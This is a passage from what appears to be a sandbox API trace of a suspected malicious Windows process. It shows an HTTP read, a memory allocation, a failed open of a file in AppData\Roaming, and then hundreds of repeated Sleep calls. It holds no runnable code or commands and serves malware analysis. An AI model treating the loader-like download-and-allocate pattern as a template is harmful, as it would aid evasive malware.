lpdwNumberOfBytesRead=0x1004fc58 | out: lpBuffer=0x9146460*, lpdwNumberOfBytesRead=0x1004fc58*=0x199) returned 1 [0194.649] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9146460, Size=0x5000) returned 0x9146460 [0194.649] WinHttpReadData (in: hRequest=0x57aa80, lpBuffer=0x91465f9, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fc58 | out: lpBuffer=0x91465f9*, lpdwNumberOfBytesRead=0x1004fc58*=0x0) returned 1 [0194.650] VirtualAlloc (lpAddress=0x0, dwSize=0x199, flAllocationType=0x3000, flProtect=0x4) returned 0x23a0000 [0194.651] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9146460) returned 1 [0194.651] WinHttpCloseHandle (hInternet=0x57aa80) returned 1 [0194.651] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9146340) returned 0x10d [0194.651] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9146340) returned 1 [0194.651] WinHttpCloseHandle (hInternet=0x86aae60) returned 1 [0194.651] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9146270) returned 0x68 [0194.652] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9146270) returned 1 [0194.783] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9146250) returned 0x12 [0194.783] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9146250) returned 1 [0194.784] WinHttpCloseHandle (hInternet=0x86555e0) returned 1 [0194.784] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9146130) returned 0x10c [0194.785] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9146130) returned 1 [0194.785] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140720) returned 0x105 [0194.785] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140720) returned 1 [0194.785] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9145fd0) returned 0x154 [0194.785] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9145fd0) returned 1 [0194.785] VirtualFree (lpAddress=0x23a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0194.787] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9145db0) returned 0x210 [0194.787] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9145db0) returned 1 [0194.787] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91428e0) returned 0x1008 [0194.787] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91428e0) returned 1 [0194.787] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91418d0) returned 0x1008 [0194.788] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91418d0) returned 1 [0194.788] VirtualFree (lpAddress=0x460000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0194.790] VirtualFree (lpAddress=0x470000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0194.791] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141840) returned 0x26 [0194.791] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141840) returned 1 [0194.792] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0194.792] Sleep (dwMilliseconds=0x258) [0194.872] Sleep (dwMilliseconds=0x258) [0194.982] Sleep (dwMilliseconds=0x258) [0195.011] Sleep (dwMilliseconds=0x258) [0195.045] Sleep (dwMilliseconds=0x258) [0195.110] Sleep (dwMilliseconds=0x258) [0195.152] Sleep (dwMilliseconds=0x258) [0195.154] Sleep (dwMilliseconds=0x258) [0195.155] Sleep (dwMilliseconds=0x258) [0195.157] Sleep (dwMilliseconds=0x258) [0195.158] Sleep (dwMilliseconds=0x258) [0195.160] Sleep (dwMilliseconds=0x258) [0195.161] Sleep (dwMilliseconds=0x258) [0195.166] Sleep (dwMilliseconds=0x258) [0195.171] Sleep (dwMilliseconds=0x258) [0195.172] Sleep (dwMilliseconds=0x258) [0195.174] Sleep (dwMilliseconds=0x258) [0195.178] Sleep (dwMilliseconds=0x258) [0195.182] Sleep (dwMilliseconds=0x258) [0195.225] Sleep (dwMilliseconds=0x258) [0195.291] Sleep (dwMilliseconds=0x258) [0195.292] Sleep (dwMilliseconds=0x258) [0195.294] Sleep (dwMilliseconds=0x258) [0195.296] Sleep (dwMilliseconds=0x258) [0195.387] Sleep (dwMilliseconds=0x258) [0195.413] Sleep (dwMilliseconds=0x258) [0195.416] Sleep (dwMilliseconds=0x258) [0195.617] Sleep (dwMilliseconds=0x258) [0195.658] Sleep (dwMilliseconds=0x258) [0195.660] Sleep (dwMilliseconds=0x258) [0195.760] Sleep (dwMilliseconds=0x258) [0195.762] Sleep (dwMilliseconds=0x258) [0195.763] Sleep (dwMilliseconds=0x258) [0195.765] Sleep (dwMilliseconds=0x258) [0195.766] Sleep (dwMilliseconds=0x258) [0195.768] Sleep (dwMilliseconds=0x258) [0195.769] Sleep (dwMilliseconds=0x258) [0195.772] Sleep (dwMilliseconds=0x258) [0195.774] Sleep (dwMilliseconds=0x258) [0195.775] Sleep (dwMilliseconds=0x258) [0195.777] Sleep (dwMilliseconds=0x258) [0195.778] Sleep (dwMilliseconds=0x258) [0195.780] Sleep (dwMilliseconds=0x258) [0195.781] Sleep (dwMilliseconds=0x258) [0195.783] Sleep (dwMilliseconds=0x258) [0195.784] Sleep (dwMilliseconds=0x258) [0195.786] Sleep (dwMilliseconds=0x258) [0195.788] Sleep (dwMilliseconds=0x258) [0195.790] Sleep (dwMilliseconds=0x258) [0195.808] Sleep (dwMilliseconds=0x258) [0195.905] Sleep (dwMilliseconds=0x258) [0195.907] Sleep (dwMilliseconds=0x258) [0195.908] Sleep (dwMilliseconds=0x258) [0195.910] Sleep (dwMilliseconds=0x258) [0195.911] Sleep (dwMilliseconds=0x258) [0195.913] Sleep (dwMilliseconds=0x258) [0195.914] Sleep (dwMilliseconds=0x258) [0195.916] Sleep (dwMilliseconds=0x258) [0195.917] Sleep (dwMilliseconds=0x258) [0195.919] Sleep (dwMilliseconds=0x258) [0195.920] Sleep (dwMilliseconds=0x258) [0195.922] Sleep (dwMilliseconds=0x258) [0195.923] Sleep (dwMilliseconds=0x258) [0195.925] Sleep (dwMilliseconds=0x258) [0195.926] Sleep (dwMilliseconds=0x258) [0195.930] Sleep (dwMilliseconds=0x258) [0195.932] Sleep (dwMilliseconds=0x258) [0195.933] Sleep (dwMilliseconds=0x258) [0195.935] Sleep (dwMilliseconds=0x258) [0195.942] Sleep (dwMilliseconds=0x258) [0196.025] Sleep (dwMilliseconds=0x258) [0196.026] Sleep (dwMilliseconds=0x258) [0196.042] Sleep (dwMilliseconds=0x258) [0196.044] Sleep (dwMilliseconds=0x258) [0196.045] Sleep (dwMilliseconds=0x258) [0196.049] Sleep (dwMilliseconds=0x258) [0196.050] Sleep (dwMilliseconds=0x258) [0196.052] Sleep (dwMilliseconds=0x258) [0196.053] Sleep (dwMilliseconds=0x258) [0196.055] Sleep (dwMilliseconds=0x258) [0196.056] Sleep (dwMilliseconds=0x258) [0196.058] Sleep (dwMilliseconds=0x258) [0196.060] Sleep (dwMilliseconds=0x258) [0196.062] Sleep (dwMilliseconds=0x258) [0196.063] Sleep (dwMilliseconds=0x258) [0196.065] Sleep (dwMilliseconds=0x258) [0196.066] Sleep (dwMilliseconds=0x258) [0196.068] Sleep (dwMilliseconds=0x258) [0196.069] Sleep (dwMilliseconds=0x258) [0196.071] Sleep (dwMilliseconds=0x258) [0196.123] Sleep (dwMilliseconds=0x258) [0196.124] Sleep (dwMilliseconds=0x258) [0196.163] Sleep (dwMilliseconds=0x258) [0196.164] Sleep (dwMilliseconds=0x258) [0196.166] Sleep (dwMilliseconds=0x258) [0196.167] Sleep (dwMilliseconds=0x258) [0196.169] Sleep (dwMilliseconds=0x258) [0196.170] Sleep (dwMilliseconds=0x258) [0196.172] Sleep (dwMilliseconds=0x258) [0196.173] Sleep (dwMilliseconds=0x258) [0196.175] Sleep (dwMilliseconds=0x258) [0196.176] Sleep (dwMilliseconds=0x258) [0196.178] Sleep (dwMilliseconds=0x258) [0196.183] Sleep (dwMilliseconds=0x258) [0196.184] Sleep (dwMilliseconds=0x258) [0196.186] Sleep (dwMilliseconds=0x258) [0196.187] Sleep (dwMilliseconds=0x258) [0196.189] Sleep (dwMilliseconds=0x258) [0196.190] Sleep (dwMilliseconds=0x258) [0196.192] Sleep (dwMilliseconds=0x258) [0196.237] Sleep (dwMilliseconds=0x258) [0196.303] Sleep (dwMilliseconds=0x258) [0196.305] Sleep (dwMilliseconds=0x258) [0196.307] Sleep (dwMilliseconds=0x258) [0196.309] Sleep (dwMilliseconds=0x258) [0196.310] Sleep (dwMilliseconds=0x258) [0196.312] Sleep (dwMilliseconds=0x258) [0196.313] Sleep (dwMilliseconds=0x258) [0196.315] Sleep (dwMilliseconds=0x258) [0196.316] Sleep (dwMilliseconds=0x258) [0196.319] Sleep (dwMilliseconds=0x258) [0196.320] Sleep (dwMilliseconds=0x258) [0196.323] Sleep (dwMilliseconds=0x258) [0196.324] Sleep (dwMilliseconds=0x258) [0196.326] Sleep (dwMilliseconds=0x258) [0196.327] Sleep (dwMilliseconds=0x258) [0196.329] Sleep (dwMilliseconds=0x258) [0196.330] Sleep (dwMilliseconds=0x258) [0196.332] Sleep (dwMilliseconds=0x258) [0196.349] Sleep (dwMilliseconds=0x258) [0196.351] Sleep (dwMilliseconds=0x258) [0196.435] Sleep (dwMilliseconds=0x258) [0196.437] Sleep (dwMilliseconds=0x258) [0196.438] Sleep (dwMilliseconds=0x258) [0196.440] Sleep (dwMilliseconds=0x258) [0196.441] Sleep (dwMilliseconds=0x258) [0196.443] Sleep (dwMilliseconds=0x258) [0196.444] Sleep (dwMilliseconds=0x258) [0196.446] Sleep (dwMilliseconds=0x258) [0196.447] Sleep (dwMilliseconds=0x258) [0196.449] Sleep (dwMilliseconds=0x258) [0196.450] Sleep (dwMilliseconds=0x258) [0196.452] Sleep (dwMilliseconds=0x258) [0196.453] Sleep (dwMilliseconds=0x258) [0196.455] Sleep (dwMilliseconds=0x258) [0196.456] Sleep (dwMilliseconds=0x258) [0196.458] Sleep (dwMilliseconds=0x258) [0196.459] Sleep (dwMilliseconds=0x258) [0196.461] Sleep (dwMilliseconds=0x258) [0196.462] Sleep (dwMilliseconds=0x258) [0196.464] Sleep (dwMilliseconds=0x258) [0196.465] Sleep (dwMilliseconds=0x258) [0196.474] Sleep (dwMilliseconds=0x258) [0196.589] Sleep (dwMilliseconds=0x258) [0196.590] Sleep (dwMilliseconds=0x258) [0196.604] Sleep (dwMilliseconds=0x258) [0196.606] Sleep (dwMilliseconds=0x258) [0196.608] Sleep (dwMilliseconds=0x258) [0196.610] Sleep (dwMilliseconds=0x258) [0196.611] Sleep (dwMilliseconds=0x258) [0196.613] Sleep (dwMilliseconds=0x258) [0196.614] Sleep (dwMilliseconds=0x258) [0196.616] Sleep (dwMilliseconds=0x258) [0196.617] Sleep (dwMilliseconds=0x258) [0196.619] Sleep (dwMilliseconds=0x258) [0196.620] Sleep (dwMilliseconds=0x258) [0196.622] Sleep (dwMilliseconds=0x258) [0196.623] Sleep (dwMilliseconds=0x258) [0196.625] Sleep (dwMilliseconds=0x258) [0196.655] Sleep (dwMilliseconds=0x258) [0196.732] Sleep (dwMilliseconds=0x258) [0196.775] Sleep (dwMilliseconds=0x258) [0196.777] Sleep (dwMilliseconds=0x258) [0196.778] Sleep (dwMilliseconds=0x258) [0196.782] Sleep (dwMilliseconds=0x258) [0196.786] Sleep (dwMilliseconds=0x258) [0196.789] Sleep (dwMilliseconds=0x258) [0196.791] Sleep (dwMilliseconds=0x258) [0196.793] Sleep (dwMilliseconds=0x258) [0196.795] Sleep (dwMilliseconds=0x258) [0196.796] Sleep (dwMilliseconds=0x258) [0196.798] Sleep (dwMilliseconds=0x258) [0196.853] Sleep (dwMilliseconds=0x258) [0196.855] Sleep (dwMilliseconds=0x258) [0196.916] Sleep (dwMilliseconds=0x258) [0196.918] Sleep (dwMilliseconds=0x258) [0196.920] Sleep (dwMilliseconds=0x258) [0196.921] Sleep (dwMilliseconds=0x258) [0196.923] Sleep (dwMilliseconds=0x258) [0196.924] Sleep (dwMilliseconds=0x258) [0196.925] Sleep (dwMilliseconds=0x258) [0196.927] Sleep (dwMilliseconds=0x258) [0196.929] Sleep (dwMilliseconds=0x258) [0196.930] Sleep (dwMilliseconds=0x258) [0196.931] Sleep (dwMilliseconds=0x258) [0196.933] Sleep (dwMilliseconds=0x258) [0196.935] Sleep (dwMilliseconds=0x258) [0196.936] Sleep (dwMilliseconds=0x258) [0196.938] Sleep (dwMilliseconds=0x258) [0196.939] Sleep (dwMilliseconds=0x258) [0196.942] Sleep (dwMilliseconds=0x258) [0196.943] Sleep (dwMilliseconds=0x258) [0196.945] Sleep (dwMilliseconds=0x258) [0196.946] Sleep (dwMilliseconds=0x258) [0196.994] Sleep (dwMilliseconds=0x258) [0196.996] Sleep (dwMilliseconds=0x258) [0197.056] Sleep (dwMilliseconds=0x258) [0197.057] Sleep (dwMilliseconds=0x258) [0197.059] Sleep (dwMilliseconds=0x258) [0197.060] Sleep (dwMilliseconds=0x258) [0197.062] Sleep (dwMilliseconds=0x258) [0197.063] Sleep (dwMilliseconds=0x258) [0197.065] Sleep (dwMilliseconds=0x258) [0197.066] Sleep (dwMilliseconds=0x258) [0197.067] Sleep (dwMilliseconds=0x258) [0197.069] Sleep (dwMilliseconds=0x258) [0197.073] Sleep (dwMilliseconds=0x258) [0197.075] Sleep (dwMilliseconds=0x258) [0197.077] Sleep (dwMilliseconds=0x258) [0197.079] Sleep (dwMilliseconds=0x258) [0197.081] Sleep (dwMilliseconds=0x258) [0197.082] Sleep (dwMilliseconds=0x258) [0197.084] Sleep (dwMilliseconds=0x258) [0197.085] Sleep (dwMilliseconds=0x258) [0197.113] Sleep (dwMilliseconds=0x258) [0197.195] Sleep (dwMilliseconds=0x258) [0197.197] Sleep (dwMilliseconds=0x258) [0197.293] Sleep (dwMilliseconds=0x258) [0197.302] Sleep (dwMilliseconds=0x258) [0197.401] Sleep (dwMilliseconds=0x258) [0197.402] Sleep (dwMilliseconds=0x258) [0197.404] Sleep (dwMilliseconds=0x258) [0197.409] Sleep (dwMilliseconds=0x258) [0197.411] Sleep (dwMilliseconds=0x258) [0197.412] Sleep (dwMilliseconds=0x258) [0197.413] Sleep (dwMilliseconds=0x258) [0197.415] Sleep (dwMilliseconds=0x258) [0197.416] Sleep (dwMilliseconds=0x258) [0197.418] Sleep (dwMilliseconds=0x258) [0197.420] Sleep (dwMilliseconds=0x258) [0197.421] Sleep (dwMilliseconds=0x258) [0197.422] Sleep (dwMilliseconds=0x258) [0197.424] Sleep (dwMilliseconds=0x258) [0197.425] Sleep (dwMilliseconds=0x258) [0197.427] Sleep (dwMilliseconds=0x258) [0197.428] Sleep (dwMilliseconds=0x258) [0197.430] Sleep (dwMilliseconds=0x258) [0197.442] Sleep (dwMilliseconds=0x258) [0197.541] Sleep (dwMilliseconds=0x258) [0197.542] Sleep (dwMilliseconds=0x258) [0197.544] Sleep (dwMilliseconds=0x258) [0197.545] Sleep (dwMilliseconds=0x258) [0197.547] Sleep (dwMilliseconds=0x258) [0197.574] Sleep (dwMilliseconds=0x258) [0197.587] Sleep (dwMilliseconds=0x258) [0197.589] Sleep (dwMilliseconds=0x258) [0197.682] Sleep (dwMilliseconds=0x258) [0197.684] Sleep (dwMilliseconds=0x258) [0197.711] Sleep (dwMilliseconds=0x258) [0197.728] Sleep (dwMilliseconds=0x258) [0197.826] Sleep (dwMilliseconds=0x258) [0197.828] Sleep (dwMilliseconds=0x258) [0197.830] Sleep (dwMilliseconds=0x258) [0197.831] Sleep (dwMilliseconds=0x258) [0197.833] Sleep (dwMilliseconds=0x258) [0197.835] Sleep (dwMilliseconds=0x258) [0197.836] Sleep (dwMilliseconds=0x258) [0197.837] Sleep (dwMilliseconds=0x258) [0197.839] Sleep (dwMilliseconds=0x258) [0197.841] Sleep (dwMilliseconds=0x258) [0197.842] Sleep (dwMilliseconds=0x258) [0197.843] Sleep (dwMilliseconds=0x258) [0197.845] Sleep (dwMilliseconds=0x258) [0197.847] Sleep (dwMilliseconds=0x258) [0197.848] Sleep (dwMilliseconds=0x258) [0197.849] Sleep (dwMilliseconds=0x258) [0197.851] Sleep (dwMilliseconds=0x258) [0197.852] Sleep (dwMilliseconds=0x258) [0197.854] Sleep (dwMilliseconds=0x258) [0197.856] Sleep (dwMilliseconds=0x258) [0197.875] Sleep (dwMilliseconds=0x258) [0197.877] Sleep (dwMilliseconds=0x258) [0197.985] Sleep (dwMilliseconds=0x258) [0197.987] Sleep (dwMilliseconds=0x258) [0197.989] Sleep (dwMilliseconds=0x258) [0197.991] Sleep (dwMilliseconds=0x258) [0197.993] Sleep (dwMilliseconds=0x258) [0197.995] Sleep (dwMilliseconds=0x258) [0197.997] Sleep (dwMilliseconds=0x258) [0197.998] Sleep (dwMilliseconds=0x258) [0198.001] Sleep (dwMilliseconds=0x258) [0198.004] Sleep (dwMilliseconds=0x258) [0198.022] Sleep (dwMilliseconds=0x258) [0198.024] Sleep (dwMilliseconds=0x258) [0198.111] Sleep (dwMilliseconds=0x258) [0198.113] Sleep (dwMilliseconds=0x258) [0198.115] Sleep (dwMilliseconds=0x258) [0198.116] Sleep (dwMilliseconds=0x258) [0198.118] Sleep (dwMilliseconds=0x258) [0198.119] Sleep (dwMilliseconds=0x258) [0198.121] Sleep (dwMilliseconds=0x258) [0198.122] Sleep (dwMilliseconds=0x258) [0198.124] Sleep (dwMilliseconds=0x258) [0198.125] Sleep (dwMilliseconds=0x258) [0198.127] Sleep (dwMilliseconds=0x258) [0198.129] Sleep (dwMilliseconds=0x258) [0198.131] Sleep (dwMilliseconds=0x258) [0198.133] Sleep (dwMilliseconds=0x258) [0198.134] Sleep (dwMilliseconds=0x258) [0198.136] Sleep (dwMilliseconds=0x258) [0198.137] Sleep (dwMilliseconds=0x258) [0198.139] Sleep (dwMilliseconds=0x258) [0198.164] Sleep (dwMilliseconds=0x258) [0198.165] Sleep (dwMilliseconds=0x258) [0198.246] Sleep (dwMilliseconds=0x258) [0198.248] Sleep (dwMilliseconds=0x258) [0198.250] Sleep (dwMilliseconds=0x258) [0198.251] Sleep (dwMilliseconds=0x258) [0198.256] Sleep (dwMilliseconds=0x258) [0198.257] Sleep (dwMilliseconds=0x258) [0198.259] Sleep (dwMilliseconds=0x258) [0198.260] Sleep (dwMilliseconds=0x258) [0198.262] Sleep (dwMilliseconds=0x258) [0198.263] Sleep (dwMilliseconds=0x258) [0198.265] Sleep (dwMilliseconds=0x258) [0198.266] Sleep (dwMilliseconds=0x258) [0198.268] Sleep (dwMilliseconds=0x258) [0198.269] Sleep (dwMilliseconds=0x258) [0198.271] Sleep (dwMilliseconds=0x258) [0198.272] Sleep (dwMilliseconds=0x258) [0198.274] Sleep (dwMilliseconds=0x258) [0198.275] Sleep (dwMilliseconds=0x258) [0198.277] Sleep (dwMilliseconds=0x258) [0198.278] Sleep (dwMilliseconds=0x258) [0198.358] Sleep (dwMilliseconds=0x258) [0198.389] Sleep (dwMilliseconds=0x258) [0198.390] Sleep (dwMilliseconds=0x258) [0198.393] Sleep (dwMilliseconds=0x258) [0198.394] Sleep (dwMilliseconds=0x258) [0198.396] Sleep (dwMilliseconds=0x258) [0198.397] Sleep (dwMilliseconds=0x258) [0198.399] Sleep (dwMilliseconds=0x258) [0198.400] Sleep (dwMilliseconds=0x258) [0198.402] Sleep (dwMilliseconds=0x258) [0198.403] Sleep (dwMilliseconds=0x258) [0198.405] Sleep (dwMilliseconds=0x258) [0198.406] Sleep (dwMilliseconds=0x258) [0198.408] Sleep (dwMilliseconds=0x258) [0198.409] Sleep (dwMilliseconds=0x258) [0198.411] Sleep (dwMilliseconds=0x258) [0198.413] Sleep (dwMilliseconds=0x258) [0198.414] Sleep (dwMilliseconds=0x258) [0198.416] Sleep (dwMilliseconds=0x258) [0198.417] Sleep (dwMilliseconds=0x258) [0198.419] Sleep (dwMilliseconds=0x258) [0198.473] Sleep (dwMilliseconds=0x258) [0198.523] Sleep (dwMilliseconds=0x258) [0198.524] Sleep (dwMilliseconds=0x258) [0198.526] Sleep (dwMilliseconds=0x258) [0198.527] Sleep (dwMilliseconds=0x258) [0198.529] Sleep (dwMilliseconds=0x258) [0198.530] Sleep (dwMilliseconds=0x258) [0198.532] Sleep (dwMilliseconds=0x258) [0198.533] Sleep (dwMilliseconds=0x258) [0198.535] Sleep (dwMilliseconds=0x258) [0198.536] Sleep (dwMilliseconds=0x258) [0198.538] Sleep (dwMilliseconds=0x258) [0198.540] Sleep (dwMilliseconds=0x258) [0198.541] Sleep (dwMilliseconds=0x258) [0198.542] Sleep (dwMilliseconds=0x258) [0198.544] Sleep (dwMilliseconds=0x258) [0198.548] Sleep (dwMilliseconds=0x258) [0198.572] Sleep (dwMilliseconds=0x258) [0198.605] Sleep (dwMilliseconds=0x258) [0198.607] Sleep (dwMilliseconds=0x258) [0198.678] Sleep (dwMilliseconds=0x258) [0198.680] Sleep (dwMilliseconds=0x258) [0198.681] Sleep (dwMilliseconds=0x258) [0198.683] Sleep (dwMilliseconds=0x258) [0198.684] Sleep (dwMilliseconds=0x258) [0198.686] Sleep (dwMilliseconds=0x258) [0198.687] Sleep (dwMilliseconds=0x258) [0198.689] Sleep (dwMilliseconds=0x258) [0198.691] Sleep (dwMilliseconds=0x258) [0198.694] Sleep (dwMilliseconds=0x258) [0198.696] Sleep (dwMilliseconds=0x258) [0198.697] Sleep (dwMilliseconds=0x258) [0198.699] Sleep (dwMilliseconds=0x258) [0198.799] Sleep (dwMilliseconds=0x258) [0198.820] Sleep (dwMilliseconds=0x258) [0198.821] Sleep (dwMilliseconds=0x258) [0198.961] Sleep (dwMilliseconds=0x258) [0198.962] Sleep (dwMilliseconds=0x258) [0198.964] Sleep (dwMilliseconds=0x258) [0198.965] Sleep (dwMilliseconds=0x258) [0198.967] Sleep (dwMilliseconds=0x258) [0198.968] Sleep (dwMilliseconds=0x258) [0198.971] Sleep (dwMilliseconds=0x258) [0198.974] Sleep (dwMilliseconds=0x258) [0198.975] Sleep (dwMilliseconds=0x258) [0198.977] Sleep (dwMilliseconds=0x258) [0198.979] Sleep (dwMilliseconds=0x258) [0198.981] Sleep (dwMilliseconds=0x258) [0198.983] Sleep (dwMilliseconds=0x258) [0198.984] Sleep (dwMilliseconds=0x258) [0198.986] Sleep (dwMilliseconds=0x258) [0198.987] Sleep (dwMilliseconds=0x258) [0198.989] Sleep (dwMilliseconds=0x258) [0198.990] Sleep (dwMilliseconds=0x258) [0199.013] Sleep (dwMilliseconds=0x258) [0199.103] Sleep (dwMilliseconds=0x258) [0199.104] Sleep (dwMilliseconds=0x258) [0199.106] Sleep (dwMilliseconds=0x258) [0199.107] Sleep (dwMilliseconds=0x258) [0199.151] Sleep (dwMilliseconds=0x258) [0199.178] Sleep (dwMilliseconds=0x258) [0199.180] Sleep (dwMilliseconds=0x258) [0199.336] Sleep (dwMilliseconds=0x258) [0199.361] Sleep (dwMilliseconds=0x258) [0199.362] Sleep (dwMilliseconds=0x258) [0199.446] Sleep (dwMilliseconds=0x258) [0199.470] Sleep (dwMilliseconds=0x258) [0199.471] Sleep (dwMilliseconds=0x258) [0199.479] Sleep (dwMilliseconds=0x258) [0200.728] Sleep (dwMilliseconds=0x258) [0200.734] Sleep (dwMilliseconds=0x258) [0200.785] Sleep (dwMilliseconds=0x258) [0200.786] Sleep (dwMilliseconds=0x258) [0200.788] Sleep (dwMilliseconds=0x258) [0200.789] Sleep (dwMilliseconds=0x258) [0200.803] Sleep (dwMilliseconds=0x258) [0200.804] Sleep (dwMilliseconds=0x258) [0200.806] Sleep (dwMilliseconds=0x258) [0200.808] Sleep (dwMilliseconds=0x258) [0200.966] Sleep (dwMilliseconds=0x258) [0201.037] Sleep (dwMilliseconds=0x258) [0201.146] Sleep (dwMilliseconds=0x258) [0201.186] Sleep (dwMilliseconds=0x258) [0201.458] Sleep (dwMilliseconds=0x258) [0201.529] Sleep (dwMilliseconds=0x258) [0201.747] Sleep (dwMilliseconds=0x258) [0201.788] Sleep (dwMilliseconds=0x258) [0201.881] Sleep (dwMilliseconds=0x258) [0201.940] Sleep (dwMilliseconds=0x258) [0201.977] Sleep (dwMilliseconds=0x258) [0201.979] Sleep (dwMilliseconds=0x258) [0202.043] Sleep (dwMilliseconds=0x258) [0202.126] Sleep (dwMilliseconds=0x258) [0202.127] Sleep (dwMilliseconds=0x258) [0202.160] Sleep (dwMilliseconds=0x258) [0202.161] Sleep (dwMilliseconds=0x258) [0202.164] Sleep (dwMilliseconds=0x258) [0202.166] Sleep (dwMilliseconds=0x258) [0202.175] Sleep (dwMilliseconds=0x258) [0202.177] Sleep (dwMilliseconds=0x258) [0202.178] Sleep (dwMilliseconds=0x258) [0202.180] Sleep (dwMilliseconds=0x258) [0202.181] Sleep (dwMilliseconds=0x258) [0202.183] Sleep (dwMilliseconds=0x258) [0202.192] Sleep (dwMilliseconds=0x258) [0202.923] Sleep (dwMilliseconds=0x258) [0202.956] Sleep (dwMilliseconds=0x258) [0203.023] Sleep (dwMilliseconds=0x258) [0203.025] Sleep (dwMilliseconds=0x258) [0203.028] Sleep (dwMilliseconds=0x258) [0203.030] Sleep (dwMilliseconds=0x258) [0203.032] Sleep (dwMilliseconds=0x258) [0203.033] Sleep (dwMilliseconds=0x258) [0203.035] Sleep (dwMilliseconds=0x258) [0203.036] Sleep (dwMilliseconds=0x258) [0203.038] Sleep (dwMilliseconds=0x258) [0203.039] Sleep (dwMilliseconds=0x258) [0203.041] Sleep (dwMilliseconds=0x258) [0203.065] Sleep (dwMilliseconds=0x258) [0203.088] Sleep (dwMilliseconds=0x258) [0203.113] Sleep (dwMilliseconds=0x258) [0203.201] Sleep (dwMilliseconds=0x258) [0203.202] Sleep (dwMilliseconds=0x258) [0203.203] Sleep (dwMilliseconds=0x258) [0203.205] Sleep (dwMilliseconds=0x258) [0203.209] Sleep (dwMilliseconds=0x258) [0203.213] Sleep (dwMilliseconds=0x258) [0203.217] Sleep (dwMilliseconds=0x258) [0203.220] Sleep (dwMilliseconds=0x258) [0203.224] Sleep (dwMilliseconds=0x258) [0203.225] Sleep (dwMilliseconds=0x258) [0203.284] Sleep (dwMilliseconds=0x258) [0203.295] Sleep (dwMilliseconds=0x258) [0203.304] Sleep (dwMilliseconds=0x258) [0203.391] Sleep (dwMilliseconds=0x258) [0203.497] Sleep (dwMilliseconds=0x258) [0203.507] Sleep (dwMilliseconds=0x258) [0203.516] Sleep (dwMilliseconds=0x258) [0203.526] Sleep (dwMilliseconds=0x258) [0203.630] Sleep (dwMilliseconds=0x258) [0203.704] Sleep (dwMilliseconds=0x258) [0203.867] Sleep (dwMilliseconds=0x258) [0203.894] Sleep (dwMilliseconds=0x258) [0203.898] Sleep (dwMilliseconds=0x258) [0203.955] Sleep (dwMilliseconds=0x258) [0203.957] Sleep (dwMilliseconds=0x258) [0204.015] Sleep (dwMilliseconds=0x258) [0204.016] Sleep (dwMilliseconds=0x258) [0204.018] Sleep (dwMilliseconds=0x258) [0204.019] Sleep (dwMilliseconds=0x258) [0204.021] Sleep (dwMilliseconds=0x258) [0204.022] Sleep (dwMilliseconds=0x258) [0204.024] Sleep (dwMilliseconds=0x258) [0204.025] Sleep (dwMilliseconds=0x258) [0204.027] Sleep (dwMilliseconds=0x258) [0204.028] Sleep (dwMilliseconds=0x258) [0204.030] Sleep (dwMilliseconds=0x258) [0204.031] Sleep (dwMilliseconds=0x258) [0204.033] Sleep (dwMilliseconds=0x258) [0204.034] Sleep (dwMilliseconds=0x258) [0204.036] Sleep (dwMilliseconds=0x258) [0204.038] Sleep (dwMilliseconds=0x258) [0204.040] Sleep (dwMilliseconds=0x258) [0204.041] Sleep (dwMilliseconds=0x258) [0204.043] Sleep (dwMilliseconds=0x258) [0204.073] Sleep (dwMilliseconds=0x258) [0204.221] Sleep (dwMilliseconds=0x258) [0204.228] Sleep (dwMilliseconds=0x258) [0204.235] Sleep (dwMilliseconds=0x258) [0204.322] Sleep (dwMilliseconds=0x258) [0204.324] Sleep (dwMilliseconds=0x258) [0204.337] Sleep (dwMilliseconds=0x258) [0204.339] Sleep (dwMilliseconds=0x258) [0204.341] Sleep (dwMilliseconds=0x258) [0204.343] Sleep (dwMilliseconds=0x258) [0204.344] Sleep (dwMilliseconds=0x258) [0204.346] Sleep (dwMilliseconds=0x258) [0204.347] Sleep (dwMilliseconds=0x258) [0204.857] Sleep (dwMilliseconds=0x258) [0204.968] Sleep (dwMilliseconds=0x258) [0204.982] Sleep (dwMilliseconds=0x258) [0204.984] Sleep (dwMilliseconds=0x258) [0204.986] Sleep (dwMilliseconds=0x258) [0204.988] Sleep (dwMilliseconds=0x258) [0204.990] Sleep (dwMilliseconds=0x258) [0204.993] Sleep (dwMilliseconds=0x258) [0204.996] Sleep 